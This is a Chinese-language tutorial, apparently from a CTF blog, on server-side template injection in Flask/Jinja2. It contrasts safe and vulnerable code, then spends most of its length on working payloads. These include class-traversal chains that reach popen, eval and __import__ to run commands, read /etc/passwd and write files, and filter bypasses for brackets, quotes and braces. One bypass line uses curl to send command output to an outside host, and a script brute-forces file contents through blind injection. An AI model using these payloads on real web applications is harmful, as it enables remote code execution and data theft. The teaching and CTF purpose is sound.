cl4y@星盟
[toc]
SSTI模板注入(Python+Jinja2)
之前有做过一些SSTI的ctf,但是没有系统的学习,今天来总结一下。
前提知识
python、flask、jinja2
SSTI介绍
ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数,这些函数对用户的输入信任,造成了模板注入漏洞,可以造成文件泄露,rce等漏洞。
**永远 不要 相信 用户的任何输入**
SSTI种类
不同框架有不同的渲染模板:
漏洞成因
一个安全的代码应该如下:
#/www
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"
@app.route('/')
@app.route('/index')
def index():
return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))
if __name__ == "__main__":
app.run()
<!--/www/templates/index.html-->
<html>
<head>
<title>{{title}} - cl4y</title>
</head>
<body>
<h1>Hello, {{name}} !</h1>
</body>
</html>
可以看到,我们在index.html里面构造了两个渲染模板,用户通过传递name参数可以控制回显的内容:
即使用户输入渲染模板,更改语法结构,也不会造成SSTI注入:
原因是:服务端先将index.html渲染,然后读取用户输入的参数,模板其实已经固定,用户的输入不会更改模板的语法结构。
而如果有程序员为了图省事,将代码这样写:
from flask import Flask,request
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template('''
<html>
<head>
<title>SSTI_TEST - cl4y</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>
'''% (name))
return t.render()
if __name__ == "__main__":
app.run()
我们再进行测试:
可以看到,我们输入的内容被服务器渲染然后输出,形成SSTI模板注入漏洞。
基础知识
-
__class__
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
-
__bases__
以元组的形式返回一个类所直接继承的类。 -
__base__
以字符串返回一个类所直接继承的第一个类。 -
__mro__
返回解析方法调用的顺序。
可以看到__bases__
返回了test()的两个父类,__bases_
返回了test()的第一个父类,__mro__
按照子类到父类到父父类解析的顺序返回所有类。 -
__subclasses__()
获取类的所有子类。
-
__init__
所有自带类都包含init方法。 -
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
注入思路|payload
注入思路
- 随便找一个内置类对象用
__class__
拿到他所对应的类 - 用
__bases__
拿到基类(<class 'object'>
) - 用
__subclasses__()
拿到子类列表 - 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]
接下来只要找到能够利用的类(方法、函数)就好了:
找可利用的类
from flask import Flask,request
from jinja2 import Template
search = 'eval'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
这是一个找可利用类的脚本,可供师傅们自己去发掘利用链,想利用啥,就找啥就行了。然后我找到了一下利用链,在下面写出。
python2、python3通用payload
因为每个环境使用的python库不同 所以类的排序有差异
直接使用popen
(python2不行)
os._wrap_close
类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
使用os
下的popen
可以从含有os的基类入手,比如说linecache
。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
使用__import__
下的os
(python2不行)
可以使用__import__
的os
。
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
__builtins__
下的多个函数
__builtins__
下有eval
,__import__
等的函数,可以利用此来执行命令。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
利用python2的file
类读写文件
在python3中file
类被删除了,所以以下payload只有python2中可行。
用dir
来看看内置的方法:
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
#python2的str类型不直接从属于属于基类,所以要两次 .__bases__
通用getshell
原理就是找到含有__builtins__
的类,然后利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
绕过
绕过中括号
#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
绕过逗号+中括号
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
绕过双大括号(dns外带)
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
python2下的盲注
python2下如果不能用命令执行,可以使用file
类进行盲注
import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password
绕过 引号 中括号 通用getshell
ps. 其实还可以再绕过 双花括号,不过payload过于恶心,懒得写了,不过或许之后会出一道题也不好说2333。
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}